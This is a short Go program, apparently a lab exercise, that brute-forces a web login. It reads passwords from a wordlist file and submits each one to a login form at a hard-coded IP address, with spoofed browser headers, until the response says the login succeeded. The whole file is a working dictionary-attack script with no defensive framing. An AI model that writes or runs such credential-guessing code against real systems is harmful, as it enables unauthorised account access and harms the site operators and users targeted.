/*************************************************************************
@Author: bighu
@Created Time : 2022年04月18日 星期一 14时38分31秒
@File Name: shiyan3.go
@Description:
************************************************************************/
package main

import (
	"bufio"
	"fmt"
	"io/ioutil"
	"net/http"
	"net/url"
	"os"
)

func httppost(pwd string) {
	//data := `{"username":"user","password":"pwd","login":"login"}`
	postValue := url.Values{
		"username": {"user"},
		"password": {pwd},
		"login":    {"login"},
	}
	request, _ := http.PostForm("http://39.103.230.97:800/login.php", postValue)
	request.Header.Set("Referer", "http://39.103.230.97:800/login.html")
	request.Header.Set("User-Agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36")
	//post数据并接收http响应
	resp, err := ioutil.ReadAll(request.Body)
	if err != nil {
		fmt.Printf("post data error:%v\n", err)
	} else {
		fmt.Println("post a data successful.")
		//respBody, _ := ioutil.ReadAll(resp.Body)
		//fmt.Println(respBody)
		if string(resp) == "登陆成功" {
			fmt.Println("密码是：", pwd)
			os.Exit(0)
		}
		fmt.Printf("response data:%v\n", string(resp))
	}
}
func main() {
	f, _ := os.Open("./pwdlist.txt")
	buf := bufio.NewScanner(f)
	for {
		if !buf.Scan() {
			break
		}
		line := buf.Text()
		httppost(line)
	}
}
